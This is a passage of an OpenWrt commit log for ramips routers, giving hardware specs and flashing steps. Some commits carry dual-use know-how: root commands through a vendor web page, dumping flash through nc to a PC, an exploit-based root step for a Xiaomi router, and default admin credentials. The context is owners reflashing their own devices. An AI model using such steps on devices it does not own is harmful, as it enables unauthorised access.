Commit Graph

806 Commits (84cb0f7ace73fad15e29e1d74c469b37f90b334d)

Author SHA1 Message Date
Robinson Wu 84cb0f7ace ramips: add support for JS76x8 series DEV boards
This commit adds support for the Jotale JS76x8 series development boards.
These devices have the following specifications:

- SOC: MT7628AN/NN, MT7688AN, MT7628DAN
- RAM of MT7628AN/NN and MT7688AN: 64/128/256 MB (DDR2)
- RAM of MT7628DAN: 64 MB (DDR2)
- FLASH:8/16/32 MB (SPI NOR)
- Ethernet:3x 10/100 Mbps ethernet ports (MT76x8 built-in switch)
- WIFI:1x 2T2R 2.4 GHz Wi-Fi
- LEDs:1x system status green LED, 1x wifi green LED,
       3x ethernet green LED
- Buttons:1x reset button
- 1x microSD slot
- 4x USB 2.0 port
- 1x mini-usb debug UART
- 1x DC jack for main power (DC 5V)
- 1x TTL/RS232 UART
- 1x TTL/RS485 UART
- 13x GPIO header
- 1x audio codec(wm8960)

Installation via OpenWrt:

The original firmware is OpenWrt, so both LuCI and sysupgrade can be used.

Installation via U-boot web:

1. Power on board with reset button pressed, release it
   after wifi led start blinking.
2. Setup static IP 192.168.1.123/4 on your PC.
3. Go to 192.168.1.8 in browser and upload "sysupgrade" image.

Installation via U-boot tftp:
1. Connect to serial console at the mini usb, which has been connected to UART0
   on board (115200 8N1)
2. Setup static IP 192.168.1.123/4 on your PC.
3. Place openwrt-firmware.bin on your PC tftp server (192.168.1.123).
3. Connect one of LAN ports on board to your PC.
4. Start terminal software (e.g. screen /dev/ttyUSB0 115200) on PC.
5. Apply power to board.
6. Interrupt U-boot with keypress of "2".
7. At u-boot prompts:
   Warning!! Erase Linux in Flash then burn new one. Are you sure?(Y/N) Y
   Input device IP (192.168.1.8) ==:192.168.1.8
   Input server IP (192.168.1.123) ==:192.168.1.123
   Input Linux Kernel filename (root_uImage) ==:openwrt-firmware.bin
8. board will download file from tftp server, write it to flash and reboot.

Signed-off-by: Robinson Wu <wurobinson@qq.com>
[add license to DTS files, fix state_default and reduce to the mimimum,
move phy0tpt trigger to DTS, drop ucidef_set_led_timer, fix network ports]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Josh Bendavid 11bff24b3e ramips: add support for D-Link DIR-1960 A1
This patch adds support for D-Link DIR-1960 A1. Given the similarity with
the DIR-1760/2660 A1, this patch also introduces a common DTSI which can
be shared with these devices, with support to be added in future commits.

Specifications:
* Board: AP-MTKH7-0002
* SoC: MediaTek MT7621AT
* RAM: 256 MB (DDR3)
* Flash: 128 MB (NAND)
* WiFi: MediaTek MT7615N (x2)
* Switch: 1 WAN, 4 LAN (Gigabit)
* Ports: 1 USB 3.0
* Buttons: Reset, WPS
* LEDs: Power (white/orange), Internet (white/orange), WiFi 2.4G (white),
        WiFi 5G (white), USB 3.0 (white)

Notes:
* WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips

Installation:
* D-Link Recovery GUI: power down the router, press and hold the reset
  button, then re-plug it. Keep the reset button pressed until the power
  LED starts flashing orange, manually assign a static IP address under
  the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1

* Some modern browsers may have problems flashing via the Recovery GUI,
  if that occurs consider uploading the firmware through cURL:

    curl -v -i -F "firmware=@file.bin" 192.168.0.1

MAC addresses:

lan   factory 0xe000     *:EB (label)
wan   factory 0xe006     *:EE
2.4   factory 0xe000 +1  *:EC
5.0   factory 0xe000 +2  *:ED

Seems like vendor didn't replace the dummy entrys in the calibration data.

Signed-off-by: Josh Bendavid <joshbendavid@gmail.com>
[fix whitespace issues, create patch to merge DIR-1960 first, move
special WiFi MAC settings to DTS, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Davide Fioravanti 92780d80ab ramips: add support for Winstars WS-WN583A6
The Winstars WS-WN583A6 is a wireless repeater with 2 gigabit ethernet
ports. Even if mine is branded as "Gemeita AC2100", the sticker on the
back says WS-WN583A6. So I will refer to it as Winstars WS-WN583A6.
Probably the real product name is the Wavlink WL-WN583A6 because of
the many references to Wavlink in the OEM firmware and bootlog.

Hardware
--------
SoC:   Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM:   128MB
FLASH: 8MB NOR (GigaDevice GD25Q64B)
ETH:   2x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
  - 2.4GHz: 1x MT7603E (2x2:2)
  - 5GHz:   1x MT7615E (4x4:4)
  - 6 internal antennas
BTN:
  - 1x Reset button
  - 1x WPS button
  - 1x ON/OFF switch (working but unmodifiable)
  - 1x Auto/Schedule switch (working but unmodifiable. Read Note #3)
LEDS:
  - 1x White led
  - 1x Red led
  - 1x Amber led
  - 1x Blue led
  - 2x Blue leds (lan and wan port status: working but unmodifiable)
UART:
  - 57600-8-N-1

Everything works correctly.

Currently there is no firmware update available. Because of this, in
order to restore the OEM firmware, you must firstly dump the OEM
firmware from your router before you flash the OpenWrt image.

Backup the OEM Firmware
-----------------------
The following steps are to be intended for users having little to none
experience in linux. Obviously there are many ways to backup the OEM
firmware, but probably this is the easiest way for this router.
Procedure tested on M83A6.V5030.191210 firmware version.

1) Go to http://192.168.10.1/webcmd.shtml

2) Type the following line in the "Command" input box:
	mkdir /etc_ro/lighttpd/www/dev; for i in /dev/mtd*ro; do dd if=${i} of=/etc_ro/lighttpd/www${i}; done

3) Click "Apply"

4) After few seconds, in the textarea should appear this output:
		16384+0 records in
	16384+0 records out
	8388608 bytes (8.0MB) copied, 4.038820 seconds, 2.0MB/s
	384+0 records in
	384+0 records out
	196608 bytes (192.0KB) copied, 0.095180 seconds, 2.0MB/s
	128+0 records in
	128+0 records out
	65536 bytes (64.0KB) copied, 0.032020 seconds, 2.0MB/s
	128+0 records in
	128+0 records out
	65536 bytes (64.0KB) copied, 0.031760 seconds, 2.0MB/s
	15744+0 records in
	15744+0 records out
	8060928 bytes (7.7MB) copied, 3.885280 seconds, 2.0MB/s
	dd: can't open '/dev/mtd5ro': No such device
	dd: can't open '/dev/mtd6ro': No such device
	dd: can't open '/dev/mtd7ro': No such device

   Excluding the "X.XXXXXX seconds" part, you should get the same
   exact output. If your output doesn't match mine, stop reading
   and ask for help in the forum.

5) Open the following links to download the partitions of the OEM FW:
	http://192.168.10.1/dev/mtd0ro
	http://192.168.10.1/dev/mtd1ro
	http://192.168.10.1/dev/mtd2ro
	http://192.168.10.1/dev/mtd3ro
	http://192.168.10.1/dev/mtd4ro

   If one (or more) of these files weight 0 byte, stop reading and ask
   for help in the forum.

6) Store these downloaded files in a safe place.

7) Reboot your router to remove any temporary file from your router.

Installation
------------
Flash the initramfs image in the OEM firmware interface.
When openwrt boots, flash the sysupgrade image otherwise you won't be
able to keep configuration between reboots.

Restore OEM Firmware
--------------------
Flash the "mtd4ro" file you previously backed-up directly from LUCI.
Warning: Remember to not keep settings!
Warning2: Remember to force the flash.

Notes
-----
1) The "System Command" page allows to run every command as root.
   For example you can use "dd" and "nc" to backup the OEM firmware.
   PC (SERVER):
	nc -l 5555 > ./mtdXro
   ROUTER (CLIENT):
	dd if=/dev/mtdXro | nc PC_IP_ADDRESS 5555

2) The OEM web interface accepts only images containing the string
   "WN583A6" in the filename.
   Currently the OEM interface accepts only the initramfs image
   probably because it checks if the ih_size in the image header is
   equal to the whole image size (instead of the kernel size)
   Read more here:
   https://forum.openwrt.org/t/support-for-strong-1200/22768/19

3) The white led (namely "Smart Night Light") can be controller by the
   user only if the side switch is set to "Schedule" otherwise it will
   be activated by the light condition (there is a photodiode on the
   top side of the router)

4) Router mac addresses:

   LAN		XX:XX:XX:XX:XX:8F
   WAN		XX:XX:XX:XX:XX:90
   WIFI 2G	XX:XX:XX:XX:XX:91
   WIFI 5G	XX:XX:XX:XX:XX:92

   LABEL	XX:XX:XX:XX:XX:91

Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
[remove chosen node, fix whitespace]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler b057862e24 Revert "ramips: fix flash layout for TP-Link TL-WR841N v14"
This reverts commit 1623defbdb.

As already stated in the reverted patch, the OEM firmware will
properly recreate the config partition if it is overwritten by
OpenWrt.

The main reason for adding the partition was the image size
restriction imposed by the 0x3d0000 limitation of the TFTP
flashing process. Addressing this by shrinking the firmware
partition is not a good solution to that problem, though:

1. For a working image, the size of the content has to be smaller
   than the available space, so empty erase blocks will remain.

2. Conceptually, the restriction is on the image, so it makes sense
   to implement it in the same way, and not via the partitioning.
   Users could e.g. do initial flash with TFTP restriction with
   an older image, and then sysupgrade into a newer one, so TFTP
   restriction does not apply.

3. The (content) size of the recovery image is enforced to 0x3d0000
   by the tplink-v2-image command in combination with
   TPLINK_FLASHLAYOUT (flash layout in mktplinkfw2.c) anyway.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Alexander Müller 1623defbdb ramips: fix flash layout for TP-Link TL-WR841N v14
The config partition was missing from the flash layout of the device.

Although the stock firmware resets a corrupted config partition to the
default values, the TFTP flash with an image bigger than 0x3d0000 will
truncate the image as the bootloader only copies 0x3d0000 bytes to flash
during TFTP flashing.

Fixed by adding the config partition and shrinking the firmware
partition.

Fixes: 3fd97c522b ("ramips: add support for TP-Link TL-WR841n v14")

Signed-off-by: Alexander Müller <donothingloop@gmail.com>
4 years ago
Mateus B. Cassiano 73e8f23579 ramips: add support for D-Link DIR-867/DIR-882 A1
This patch adds support for D-Link DIR-867 A1 and D-Link DIR-882 A1. Given
the similarity of these devices, this patch also introduces a common DTS
shared between DIR-867 A1, DIR-878 A1 and DIR-882 A1.

Specifications:
* Board: AP-MTKH7-0002
* SoC: MediaTek MT7621AT
* RAM: 128 MB (DDR3)
* Flash: 16 MB (SPI NOR)
* WiFi: MediaTek MT7615N (x2)
* Switch: 1 WAN, 4 LAN (Gigabit)
* Ports: 1 USB 2.0, 1 USB 3.0
* Buttons: Reset, WiFi Toggle, WPS
* LEDs: Power (green/orange), Internet (green/orange), WiFi 2.4G (green),
        WiFi 5G (green), USB 2.0 (green), USB 3.0 (green)

Notes:
* WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips
* DIR-867 wireless chips are limited to 3x3 streams at hardware level
* USB ports and related LEDs available only on DIR-882

Serial port:
* Parameters: 57600, 8N1
* Location: J1 header (close to the Reset, WiFi and WPS buttons)
* Pinout: 1 - VCC
          2 - RXD
          3 - TXD
          4 - GND

Installation:
* D-Link Recovery GUI: power down the router, press and hold the reset
  button, then re-plug it. Keep the reset button pressed until the power
  LED starts flashing orange, manually assign a static IP address under
  the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1

* Some modern browsers may have problems flashing via the Recovery GUI,
  if that occurs consider uploading the firmware through cURL:

    curl -v -i -F "firmware=@file.bin" 192.168.0.1

Signed-off-by: Mateus B. Cassiano <mbc07@live.com>
[move DEVICE_VARIANT to individual definitions]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Santiago Rodriguez-Papa ed087cba8a ramips: add support for Linksys EA7300 v1
Specifications:

* SoC:      MediaTek MT7621A              (880 MHz 2c/4t)
* RAM:      Nanya NT5CC128M16IP-DIT       (256M DDR3-1600)
* Flash:    Macronix MX30LF1G18AC-TI      (128M NAND)
* Eth:      MediaTek MT7621A              (10/100/1000 Mbps x5)
* Radio:    MT7615N                       (2.4 GHz & 5 GHz)
            4 antennae: 1 internal and 3 non-deatachable
* USB:      3.0 (x1)
* LEDs:
    White   (x1 logo)
    Green   (x6 eth + wps)
    Orange  (x5, hardware-bound)
* Buttons:
    Reset   (x1)
    WPS     (x1)

Everything works! Been running it for a couple weeks now and haven't had
any problems. Please let me know if you run into any.

Installation:

Flash factory image through GUI.

This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.

Reverting to factory firmware:

Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.

Signed-off-by: Santiago Rodriguez-Papa <contact@rodsan.dev>
[use v1 only, minor DTS adjustments, use LINKSYS_HWNAME and add it to
DEVICE_VARS, wrap DEVICE_PACKAGES, adjust commit message/title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 95a05b12d7 ramips: provide common definition for ELECOM WRC GS devices
Add a common definition for ELECOM WRC "GS" devices to mt7621.mk
to not repeat the same assignments five times.

To keep the naming consistent, slightly rename the DTSI and the
factory image recipe as well.

Note that elecom_wrc-1167ghbk2-s uses a slightly different build
recipe for the factory image, so we keep it separate.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: INAGAKI Hiroshi <musashino.open@gmail.com> [WRC-1750GSV]
4 years ago
INAGAKI Hiroshi a79f55e7e0 ramips: add support for ELECOM WRC-1750GS/GSV
ELECOM WRC-1750GS is a 2.4/5 GHz band 11ac (Wi-Fi 5) router, based on
MT7621A.

WRC-1750GSV has the same hardware with WRC-1750GS.

Specification:

- SoC		: MediaTek MT7621A
- RAM		: DDR3 128 MiB
- Flash		: SPI-NOR 16 MiB
- WLAN		: 2.4/5 GHz 3T3R (2x MediaTek MT7615)
- Ethernet	: 10/100/1000 Mbps x5
  - Switch	: MediaTek MT7530 (SoC)
- LED/keys	: 4x/6x (2x buttons, 1x slide-switch)
- UART		: through-hole on PCB
  - J4: 3.3V, GND, TX, RX from ethernet port side
  - 57600n8
- Power		: 12VDC, 1.5A

Flash instruction using factory image:

1. Boot WRC-1750GS (or WRC-1750GSV) normally
2. Access to "http://192.168.2.1/" and open firmware update page
   ("ファームウェア更新")
3. Select the OpenWrt factory image and click apply ("適用") button
   for WRC-1750GS : wrc-1750gs-squashfs-factory.bin
   for WRC-1750GSV: wrc-1750gsv-squashfs-factory.bin
4. Wait ~120 seconds to complete flashing

Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
4 years ago
Mathieu Martin-Borret d7233b0a6a ramips: add support for D-Link DIR-878 A1
Specifications:

    SoC: MT7621AT
    RAM: 128MB
    Flash: 16MB NOR SPI flash
    WiFi: MT7615N (2.4GHz) and MT7615N (5Ghz)
    LAN: 5x1000M
    Firmware layout is Uboot with extra 96 bytes in header
    Base PCB is AP-MTKH7-0002
    LEDs Power Green,Power Orange,Internet Green,Internet Orange
    LEDs "2.4G" Green & "5G" Green connected directly to wifi module
    Buttons Reset,WPS,WIFI

Flashing instructions:

Upload image via emergency recovery mode
Push and hold reset button (on the back of the device) until power led
starts flashing (about 10 secs or so) while powering the device on.
Give it ~30 seconds, to boot the recovery mode GUI
Connect your client computer to LAN1 of the device
Set your client IP address manually to 192.168.0.2 / 255.255.255.0.
Call the recovery page for the device at http://192.168.0.1
Use the provided emergency web GUI to upload and flash a new firmware to
the device. Some browsers/OS combinations are known not to work, so if
you don't see the percentage complete displayed and moving within a few
seconds, restart the procedure from scratch and try anoher one,
or try the command line way.

Alternative method using command line on Linux:
curl -v -i -F "firmware=@openwrt-xxxx-squashfs-factory.bin" 192.168.0.1

Signed-off-by: Mathieu Martin-Borret <mathieu.mb@protonmail.com>
[use of generic uimage-padhdr in image generation code]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
Adrian Schmutzler 11478524a2 ramips: consolidate Netgear devices for mt7628
This creates a common DTSI and shared image definition for the
relatively similar Netgear devices for mt7628 platform.

As a side effect, this raises SPI flash frequency for the R6120,
as it's expected to work there as well if it works for R6080 and
R6020.

Based on the data from the other devices, it also seems probable
the 5g MAC address for R6120 could be extracted from the caldata,
and the mtd-mac-address there could be dropped.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 479adb0929 ramips: consolidate recipes with uimage_padhdr
There are already two very similar recipes using uimage_padhdr
in ramips target, and a third one is about to be added.

Make the recipe more generic, so redefinitions are not necessary
anymore.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Bjørn Mork <bjorn@mork.no> [Zyxel WAP6805]
4 years ago
Tim Thorpe edbc8e5512 ramips: add support for Netgear R6020
This adds support for the Netgear R6020, aka Netgear AC750.

The R6020 appears to be the same hardware as the Netgear R6080,
aka Netgear AC1000, but it has a slightly different flash layout,
and no USB ports.

Specification:

SoC: MediaTek MT7628 (580 MHz)
Flash: 8 MiB
RAM: 64 MiB
Wireless: 2.4Ghz (builtin) and 5Ghz (MT7612E)
LAN speed: 10/100
LAN ports: 4
WAN speed: 10/100
WAN ports: 1
UART (57600 8N1) on PCB

MAC addresses based on vendor firmware:
LAN      *:88   0x4
WAN      *:89
WLAN2    *:88   0x4
WLAN5    *:8a   0x8004

The factory partition might have been corrupted beforehand. However,
the comparison of vendor firmware and OpenWrt still allowed to retrieve
a meaningful assignment that also matches the other similar devices.

Installation:

Flashing OpenWRT from stock firmware requires nmrpflash. Use an ethernet
cable to connect to LAN port 1 of the R6020, and power the R6020 off.
From the connected workstation, run
`nmrpflash -i eth0 -f openwrt-ramips-mt76x8-netgear_r6020-squashfs-factory.img`,
replacing eth0 with the appropriate interface (can be identified by
running `nmrpflash -L`). Then power on the R6020. After flashing has finished,
power cycle the R6020, and it will boot into OpenWRT. Once OpenWRT has been
installed, subsequent flashes can use the web interface and sysupgrade files.

Signed-off-by: Tim Thorpe <timfthorpe@gmail.com>
[slightly extend commit message, fix whitespaces in DTS, align From:
with Signed-off-by]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Furkan Alaca 541faf2c93 ramips: mt7621: use lzma-loader for ra21s & rg21s
The rg21s fails to boot if the kernel is larger than about
2,376 KiB. The ra21s is virtually identical hardware.
Enabling lzma-loader resolves the issue on both the rg21s
and ra21s (see FS#3057 on the issue tracker).

Fixes: FS#3057
Signed-off-by: Furkan Alaca <furkan.alaca@queensu.ca>
4 years ago
Sergei Burakov 4dc9ad4af8 ramips: add support for ZyXEL Keenetic Lite Rev.B
Device specification:

SoC: RT5350
CPU Frequency: 360 MHz
Flash Chip: Macronix MX25L6406E (8192 KiB)
RAM: Winbond W9825G6JH-6 (32768 KiB)
5x 10/100 Mbps Ethernet (4x LAN, 1x WAN)
1x external antenna
UART (J1) header on PCB (57800 8n1)
Wireless: SoC-intergated: 2.4GHz 802.11bgn
USB: None
8x LED, 2x button

Flash instruction:

Configure PC with static IP 192.168.99.8/24 and start TFTP server.
Rename "openwrt-ramips-rt305x-zyxel_keenetic-lite-b-squashfs-sysupgrade.bin"
to "rt305x_firmware.bin" and place it in TFTP server directory.
Connect PC with one of LAN ports, press the reset button, power up
the router and keep button pressed until power LED start blinking.
Router will download file from TFTP server, write it to flash and reboot.

Signed-off-by: Sergei Burakov <senior.anonymous@ya.ru>
4 years ago
Adrian Schmutzler 9e6257c26c ramips: move adslr_g7 in image/mt7621.mk to keep sorting
Move this device to the top to maintain alphabetic sorting in the
file.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 7de08be913 ramips: add missing kmod-mt7615-firmware for TP-Link RE500 v1
Adding this has been overlooked when rebasing the commit prior to
merge.

Fixes: ba0f4f0cfd ("ramips: add support for TP-Link RE500 v1")

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Bjørn Mork c1794d653c ramips: add support for ZyXEL WAP6805 (Altibox WiFi+)
Hardware
--------
SoC:   MediaTek MT7621ST
WiFi:  MediaTek MT7603
       Quantenna QT3840BC
Flash: 128M NAND
RAM:   64M
LED:   Dual colour red and green
BTN:   Reset
       WPS
Eth:   4 x 10/100/1000 connected to MT7621 internal switch
       MT7621 RGMII port connected to Quantenna module
GPIO:  Power/reset of Quantenna module

Quantenna module
----------------

The Quantenna QT3840BC (or QV840) is a separate SoC running
another Linux installation.  It is mounted on a wide mini-PCIe
form factor module, but is connected to the RGMII port of
the MT7621.  It loads both a second uboot stage and an os
image from the MT7621 using tftp.  The module is configured
using Quantenna specific RPC calls over IP, using 802.1q
over the RGMII link to support multiple SSIDs.

There is no support for using this module as a WiFi device
in OpenWrt. A package with basic firmware and management
tools is being prepared.

Serial ports
------------

Two serial ports with headers:

RRJ1 - 115200 8N1 - Connected to the Quantenna console
J1   -  57600 8N1 - Connected to the MT7621 console

Both share pinout with many other Zyxel/Mitrastar devices:

1 - NC (VDD)
2 - TX
3 - RX
4 - NC (no pin)
5 - GND

Dual system partitions
----------------------

The vendor firmware and boot loader use a dual partition
scheme storing a counter in the header of each partition. The
partition with the highest number will be selected for boot.

OpenWrt does not support this scheme and will always use the
first OS partition.  It will reset both counters to zero the
first time sysupgrade is run, making sure the first partition
is selected by the boot loader.

Installation from vendor firmware
---------------------------------

1. Run a DHCP server. The WAP6805 is configured as a client device
   and does not have a default static IP address. Make a note of
   which address it is assigned

2. tftp the OpenWrt initramfs-kernel.bin image to this address.
   Wait for the WAP6805 to reboot.

3. ssh to the OpenWrt initramfs system on 192.168.1.1. Make a
   backup of all mtd partitions now.  The last used OEM image is
   still present in either "Kernel" or "Kernel2" at this point,
   and can be restored later if you save a copy.

4. sysupgrade to the OpenWrt sysupgrade.bin image.

Installation from U-Boot
------------------------

This requires serial console access

1. Copy the OpenWrt initramfs-kernel.bin image as "ras.bin" to
   your tftp server directory.  Configure the server address as
   192.168.0.33/24

2. Hit ESC when the message "Hit ESC key to stop autoboot"
   appears

3. Type "ATGU" + Enter, and then "2" immediately after pressing enter.

4. Answer Y to the question "Erase Linux in Flash then burn new
   one. Are you sure?", and answer the address/filename questions.
   Defaults:
        Input device IP (192.168.0.2)
        Input server IP (192.168.0.33)
        Input Linux Kernel filename ("ras.bin")

5. Wait until after you see the message "Done!" and power cycle
   the device.  It will hang after flashing.

6. Continue with step 3 and 4 from the vendor firmware procedure.

Notes on the WAP6805 U-Boot
---------------------------
The bootloader has been modified with both ZyXELs zyloader and the
device specific dual partition scheme.  These changes appear to have
broken a few things.  The zyloader shell claims to support a number
of ZyXEL AT commands, but not all of them work.  The image selection
scheme is unreliable and inconsistent.  A limited U-Boot menu is
available - and used by the above U-Boot install procedure.  But
direct booting into an uploaded image does not work, neither with
ram nor with flash.  Flashing works, but requires a hard reset after
it is finished.

Reverting to OEM firmware
-------------------------

The OEM firmware can be restored by using mtd write from OpenWrt,
flashing it to the "Kernel" partition. E.g.

  ssh root@192.168.1.1 "mtd -r -e Kernel write - Kernel" < oem.bin

OEM firmwares for the WAP6805 are not avaible for public download,
so a backup of the original installation is required.  See above.

Alternatively, firmware for the WAP6806 (Armor X1) may be used. This
is exactly the same hardware.  But the branding features do obviously
differ.

LED controller
--------------

Hardware implementation is unknown.  The dual-color LED is controlled
by 3 GPIOs:

  4: red
  7: blinking green
 13: green

Enabling both red and green makes the LED appear yellow.

The boot loader enables hardware blinking, causing the green LED to blink
slowly on power-on, until the OpenWrt boot mode starts a faster software
blink.

Signed-off-by: Bjørn Mork <bjorn@mork.no>
[fix alphabetic sorting for image build statement]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
Emir Efe Kucuk 53a1fede1f ramips: Add support for Xiaomi Mi Router(Black,R2100)
The Xiaomi Mi Router AC2100 is a *black* cylindrical router that shares many
characteristics (apart from its looks and the GPIO ports) with the 6-antenna
*white* "Xiaomi Redmi Router AC2100"

See the visual comparison of the two routers here:
https://github.com/emirefek/openwrt-R2100/raw/imgcdn/rm2100-r2100.jpg

Specification of R2100:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN in Yellow and Blue
- UART: On board (Don't know where is should be confirmed by anybody else)
- Modified u-boot

Hacking of official firmware process is same at both RM2100 and R2100.
Thanks to @namidairo

Here is the detailed guide Hack: https://github.com/impulse/ac2100-openwrt-guide
Guide is written for MacOS but it will work at linux.
needed packages: python3(with scapy), netcat, http server, telnet client

1. Run PPPoE&exploit to get nc and wget busybox, get telnet and wget firmware
2. mtd write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-rootfs0.bin rootfs0

other than these I specified in here. Everything is same with:
f3792690c4
Thanks for all community and especially for this device:
@Ilyas @scp07 @namidairo @Percy @thorsten97 @impulse (names@forum.openwrt.com)

MAC Locations:
WAN *:b5 = factory 0xe006
LAN *:b6 = factory 0xe000
WIFI 5ghz *:b8 = factory 0x8004
WIFI 2.4ghz *:b7 = factory 0x0004

Signed-off-by: Emir Efe Kucuk <emirefek@gmail.com>
[refactored common image bits into Device/xiaomi-ac2100, fixed From:]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
Davide Fioravanti 8c13ebd3ad ramips: add support for Edimax Gemini RE23S
Hardware
--------
SoC:   Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM:   128MB
FLASH: 16MB NOR (Macronix MX25L12805D)
ETH:   1x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
  - 2.4GHz: 1x MT7615 (4x4:4)
  - 5GHz:   1x MT7615 (4x4:4)
  - 4 antennas: 2 external detachable and 2 internal
BTN:
  - 1x Reset button
  - 1x WPS button
LEDS:
  - 1x Green led (Power)
  - 1x Green-Amber-Red led (Wifi)
UART:
  - 57600-8-N-1

Everything works correctly.

Installation
------------
Flash the factory image directly from OEM web interface.
(You can login using these credentials: admin/1234)

Restore OEM Firmware
--------------------
Flash the OEM "bin" firmware directly from LUCI.
The firmware is downloadable from the OEM web page.
Warning: Remember to not keep settings!
Warning2: Remember to force the flash.

Restoring procedure tested with RE23_1.08.bin

MAC addresses
-------------
factory 0x4     *:24
factory 0x8004  *:25
Cimage  0x07    *:24
Cimage  0x0D    *:24
Cimage  0x13    *:24
Cimage  0x19    *:25

No other addresses were found in factory partition.

Since the label contains both the 2.4GHz and 5GHz mac address I decided
to set the 5GHz one as label-mac-device. Moreover it also corresponds
to the lan mac address.

Notes
-----
The wifi led in the OEM firmware changes colour depending on the signal
strength. This can be done in OpenWrt but just for one interface.
So for now will not be any default action for this led.

If you want to open the case, pay attention to the antenna placed on
the bottom part of the front cover.
The wire is a bit short and it breaks easily. (I broke it)

Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
[fix two typos and add extended MAC address section to commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Christoph Krapp ba0f4f0cfd ramips: add support for TP-Link RE500 v1
This device uses the same hardware as RE650 v1 which got supported in
8c51dde.

Hardware specification:

- SoC 880 MHz - MediaTek MT7621AT
- 128 MB of DDR3 RAM
- 16 MB - Winbond 25Q128FVSG
- 4T4R 2.4 GHz - MediaTek MT7615E
- 4T4R 5 GHz - MediaTek MT7615E
- 1x 1 Gbps Ethernet - MT7621AT integrated
- 7x LEDs (Power, 2G, 5G, WPS(x2), Lan(x2))
- 4x buttons (Reset, Power, WPS, LED)
- UART header (J1) - 2:GND, 3:RX, 4:TX
  Serial console @ 57600,8n1

Flash instructions:

Upload
openwrt-ramips-mt7621-tplink_re500-v1-squashfs-factory.bin
from the RE500 web interface.

TFTP recovery to stock firmware:

Unfortunately, I can't find an easy way to recover the RE
without opening the device and using modified binaries. The
TFTP upload will only work if selected from u-boot, which
means you have to open the device and attach to the serial
console. The TFTP update procedure does *not* accept the
published vendor firmware binaries. However, it allows to
flash kernel + rootfs binaries, and this works if you have
a backup of the original contents of the flash. It's probably
possible to create special image out of the vendor binaries
and use that as recovery image.

Signed-off-by: Christoph Krapp <achterin@googlemail.com>
[remove dts-v1 in DTSI, do not touch WiFi LEDs for RE650, keep
state_default in DTS files, fix label-mac-device, use lower case
for WiFi LEDs]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Rowan Border 33fae8421e ramips: add support for TP-Link RE220 v2
TP-Link RE220 v2 is a wireless range extender with Ethernet and 2.4G and 5G
WiFi with internal antennas. It's based on MediaTek MT7628AN+MT7610EN.

This port of OpenWRT leverages work done by Andreas Böhler <dev@aboehler.at>
for the TP-Link RE200 v2 as both devices share the same SoC, flash layout
and GPIO pinout.

Specifications

MediaTek MT7628AN (580 Mhz)
64 MB of RAM
8 MB of FLASH
2T2R 2.4 GHz and 1T1R 5 GHz
1x 10/100 Mbps Ethernet
UART header on PCB (57600 8n1)
8x LED (GPIO-controlled), 2x button
There are 2.4G and 5G LEDs in red and green which are controlled separately.

Web Interface Installation

It is possible to upgrade to OpenWrt via the web interface. Simply flash
the -factory.bin from OEM. In contrast to a stock firmware, this will not
overwrite U-Boot.

Signed-off-by: Rowan Border <rowanjborder@gmail.com>
4 years ago
David Bauer 1ba0466d43 package: add ravpower-mcu package
This package allows to read battery status information and control the
power state of the RAVPower RP-WD009 power management IC.

Signed-off-by: David Bauer <mail@david-bauer.net>
4 years ago
David Bauer e959048c12 ramips: add support for RAVPower RP-WD009
The RAVPower RP-WD009 is a batter-powered pocket sized router with SD
card lot and USB port.

Hardware
--------
CPU:   MediaTek MT7628AN
RAM:   64M DDR2
FLASH: 16M GigaDevices SPI-NOR
WLAN:  MediaTek MT7628AN 2T2R b/g/n
       MediaTek MT7610E  1T1R n/ac
ETH:   1x FastEthernet
SD:    SD Card slot
USB:   USB 2.0

Custom PMIC on the I2C bus (address 0x0a).

Installation
------------

1. Press and hold down the reset button.

2. Power up the Device. Keep pressing the reset button for 10
